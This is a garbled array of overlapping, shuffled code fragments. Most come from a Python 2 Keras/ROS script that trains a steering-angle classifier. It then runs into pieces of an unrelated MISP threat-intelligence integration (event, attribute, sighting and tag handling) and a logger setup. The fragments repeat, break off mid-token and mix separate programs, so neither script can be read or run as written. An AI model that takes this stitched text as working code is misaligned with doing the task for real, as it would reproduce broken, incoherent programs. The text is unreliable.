"255.0 return data2 def make_model(): model = Sequential() # 128", "from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten,", "Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3),", "0 n_test_examples = 0 cnt = collections.Counter() for f in", "# if the number of training examples is below this,", "category) for category in categories] category = np.argmin(differences) oneHot =", "training examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation", "n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle))", "np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i]", "epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches =", "model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x", "= string.strip(categories).split(\" \") categories = [float(x) for x in categories]", "[float(x) for x in categories] categories = expand_categories(categories) model =", "model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy'])", "in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0:", "import collections import random import time from example_set import ExampleSet", "in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const", "[abs(steering - category) for category in categories] category = np.argmin(differences)", "make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape))", "category = np.argmin(differences) oneHot = [1 if i == category", "params import input_shape, expand_categories n_examples_to_load = 8000 # if the", "training examples is below this, load more data batch_size =", "i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\",", "np.argmin(differences) oneHot = [1 if i == category else 0", "categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x)", "for category in categories] category = np.argmin(differences) oneHot = [1", "if not isValidation: random.shuffle(D) X = format_inputs(D) # create output", "return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime", "for x in categories] categories = expand_categories(categories) model = make_model()", "= int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed", "int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation", "format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex", "len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] +=", "examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation =", "= list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = []", "= collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f))", "in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2", "= int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories", "import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000", "BatchNormalization import cv2 import collections import random import time from", "isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D)", "data.test if isValidation else data.train if not isValidation: random.shuffle(D) X", "epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) >", "categories = [float(x) for x in categories] categories = expand_categories(categories)", "time from example_set import ExampleSet from params import input_shape, expand_categories", "16 categories = [None] def defineCategory(steering): differences = [abs(steering -", "i in range(0, len(X), batch_size): xs = X[i: i +", "model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4'", "< 0.4: # 40% of images are flipped X[i] =", "the number of training examples is below this, load more", "model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32,", "ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if", "random.shuffle(D) X = format_inputs(D) # create output bins labels =", "keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D,", "model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories", "activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories,", "is below this, load more data batch_size = 16 categories", "if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles =", "math import string import numpy as np import rospy import", "time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc", "- startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc =", "label counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1", "\"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print", "category in categories] category = np.argmin(differences) oneHot = [1 if", "in range(len(X)): if random.random() < 0.4: # 40% of images", "list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while", "- category) for category in categories] category = np.argmin(differences) oneHot", "exampleSetFiles.pop())) D += data.test if isValidation else data.train if not", "# 40% of images are flipped X[i] = cv2.flip(X[i], 1)", "= rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories =", "rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\")", "1 print \"total training examples:\", n_training_examples print \"training label counts:\",", "return data2 def make_model(): model = Sequential() # 128 x", "[1 if i == category else 0 for i in", "\"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved model to\",", "else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles)", "model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu',", "n_examples_to_load = 8000 # if the number of training examples", "range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape,", "isValidation: for i in range(len(X)): if random.random() < 0.4: #", "exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D =", "8000 # if the number of training examples is below", "input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image()", "range(0, len(X), batch_size): xs = X[i: i + batch_size] ys", "print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) /", "def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05,", "input_shape, expand_categories n_examples_to_load = 8000 # if the number of", "int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories =", "in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) +", "# 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu',", "isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const)", "oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for", "ex in D]) if not isValidation: for i in range(len(X)):", "input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32", "padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3),", "x in categories] categories = expand_categories(categories) model = make_model() model.summary()", "images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1]", "random import time from example_set import ExampleSet from params import", "x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4,", "import string import numpy as np import rospy import keras", "ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs,", "False): gen_epochs = 1 if isValidation else epochs for epoch", "ys = labels[i: i + batch_size] yield (xs, ys) try:", "D = [] while len(exampleSetFiles) > 0 and len(D) <", "40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i]", "model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy,", "+ batch_size] ys = labels[i: i + batch_size] yield (xs,", "Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import", "= int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print", "xs = X[i: i + batch_size] ys = labels[i: i", "n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for", "def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i,", "more data batch_size = 16 categories = [None] def defineCategory(steering):", "i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples)", "in D]) if not isValidation: for i in range(len(X)): if", "= time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs =", "= labels[i: i + batch_size] yield (xs, ys) try: n_minibatches", "counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if", "else 0 for i in range(len(categories))] return oneHot def format_inputs(examples):", "n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation = False):", "create output bins labels = np.array([defineCategory(ex.angle) for ex in D])", "import time from example_set import ExampleSet from params import input_shape,", "/ batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\",", "n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir", "startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs", "= Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3,", "numpy as np import rospy import keras from keras.models import", "oneHot = [1 if i == category else 0 for", "i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),)", "\") categories = [float(x) for x in categories] categories =", "from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load", "len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0", "cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X),", "n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation", "if not isValidation: for i in range(len(X)): if random.random() <", "= ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train", "data batch_size = 16 categories = [None] def defineCategory(steering): differences", "= [1 if i == category else 0 for i", "return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32')", "random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles)", "exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples +=", "try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1)", "+= len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i]", "data2 /= 255.0 return data2 def make_model(): model = Sequential()", "padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128,", "output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if", "= np.argmin(differences) oneHot = [1 if i == category else", "128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same'))", "= 1 if isValidation else epochs for epoch in range(gen_epochs):", "if isValidation else data.train if not isValidation: random.shuffle(D) X =", "> 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop()))", "gen_epochs = 1 if isValidation else epochs for epoch in", "len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir,", "os import math import string import numpy as np import", "= labels[i][::-1] for i in range(0, len(X), batch_size): xs =", "model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in", "print \"total training examples:\", n_training_examples print \"training label counts:\", cnt", "model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu'))", "n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print", "0: D = [] while len(exampleSetFiles) > 0 and len(D)", "os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples =", "model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(),", "model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model", "model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global", "labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i:", "import keras from keras.models import Sequential from keras.layers import Dense,", "optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size", "i == category else 0 for i in range(len(categories))] return", "loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved", "'.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt", "= [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load:", "(xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches,", "activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def", "/= 255.0 return data2 def make_model(): model = Sequential() #", "D]) if not isValidation: for i in range(len(X)): if random.random()", "rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for x", "else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) #", "ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex", "ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 #", "= rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories =", "are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for", "while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) >", "def defineCategory(steering): differences = [abs(steering - category) for category in", "if random.random() < 0.4: # 40% of images are flipped", "= [abs(steering - category) for category in categories] category =", "32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2)))", "= [None] def defineCategory(steering): differences = [abs(steering - category) for", "batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss,", "main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path", "collections import random import time from example_set import ExampleSet from", "0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D", "if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0", "epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \")", "batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir =", "activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3,", "X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle)", "if i == category else 0 for i in range(len(categories))]", "import os import math import string import numpy as np" ]
[ "Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import Tag", "Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate", "Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr,", "<filename>build/lib/Kronos_heureka_code/Zeit/__init__.py<gh_stars>0 from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat", "Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung", "Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr", "from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import", "Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import", "from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from", "import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from", "Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag", "import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import" ]
[ "silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent", "logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig(", "is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s:", "%(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO)", "filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL,", "else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s", "else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w'", "<reponame>cthoyt/retro_star<filename>retro_star/utils/logger.py<gh_stars>10-100 import logging def setup_logger(fname=None, silent=False): if fname is None:", "silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' )", "format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console", "if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M',", "if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d", "datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent", ") else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s", "not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w'", "setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not", "level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',", "format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO", "not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M',", "= logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter) logging.getLogger('').addHandler(console)", "%(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if", "filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s", "else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else:", "silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname,", "filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s:", "fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL,", "logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s',", ") console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')", "import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig(", "%(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not", "logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s", "logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO", "%H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter =", "def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if", "%H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else", "%(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console =", "datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter", "if fname is None: logging.basicConfig( level=logging.INFO if not silent else", "None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s", "%(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler()", "level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d", "logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' )", "console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter)" ]
[ "is attribute or event, depends on the called function\"\"\" if", "obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as", "return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects =", "for i in range(len(related_events)): if related_events[i] not in related_events[i +", "because of a SSLCertVerificationError, ' 'Please try to use the", "3 (i.e malicious). * have tags which configured as suspicious", "demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [", "Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the", "[ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id')", "scored as malicious or suspicious. Args: all_attributes (dict): The parsed", "handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url':", "that it is an event's tag. Otherwise (if it is", "',' as delimiter for parameters and ';' as delimiter for", "{response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully", "handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif", "attributes and Events that: * have tags which configured as", "dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query:", "[ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis',", "{ 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'),", "Please provide a valid value for the Source Reliability parameter\")", "{value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator,", "event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'),", "event object and set the event's details. \"\"\" event =", "command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file':", "PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL", "ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen',", "tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious =", "(set): Tag ids should be recognised as malicious. suspicious_tag_ids (set):", "if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') ==", "= handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY,", "for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute", "demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type", "def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT", "is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args()", "with ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable,", "attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not", "= False, demisto_args: dict = {}, new_event: MISPEvent = None):", "== 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))", "attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting')", "created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def", "{'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'}", "outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable", "# type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if", "for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs,", "removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes,", "if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if", "\"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag)", "convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip':", "regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and", "demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} #", "= params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() #", "as the greater event ids are the newer ones. Returns:", "demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in", "url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain':", "misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or =", "raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute", "'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', }", "to 0 or not exists) it says that it is", "'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp':", "raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires", "context output format. please note: attributes are excluded from search-events", "def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\"", "dbot score. The score is calculated by the tags ids", "controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\",", "2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities':", "for tag in object_tags_list: if tag.get('ID') == found_tag: event_id =", "internal (bool): if set to True, will not post results", "outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def 